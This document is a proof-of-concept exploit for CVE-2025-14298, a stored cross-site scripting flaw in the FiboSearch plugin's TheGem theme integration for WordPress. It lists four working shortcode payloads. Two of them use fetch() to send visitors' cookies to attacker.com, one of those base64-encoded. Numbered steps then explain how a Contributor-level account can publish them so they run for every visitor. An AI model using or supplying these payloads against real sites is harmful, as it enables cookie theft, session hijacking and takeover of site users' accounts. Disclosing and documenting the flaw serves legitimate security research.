CVE-2025-14298

<!-- FiboSearch Stored XSS PoC via thegem_te_search shortcode --> <!-- Requires: Contributor+ access, TheGem theme with Header Builder, FiboSearch TheGem integration enabled --> <!-- Basic XSS PoC --> [thegem_te_search placeholder='<img src=x onerror=alert(document.cookie)>'] <!-- Cookie stealing PoC --> [thegem_te_search class='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Advanced payload using event handlers --> [thegem_te_search input_id='test" onfocus="alert(document.domain)" autofocus x='] <!-- Stored XSS via shortcode attribute --> [thegem_te_search icon='<svg onload=fetch("https://attacker.com/log?data="+btoa(document.cookie))>'] <!-- Steps to exploit: 1. Login as Contributor or higher role 2. Create/Edit a post or page 3. Add the shortcode with malicious payload 4. Publish the content 5. Any user visiting the page will execute the injected JavaScript -->

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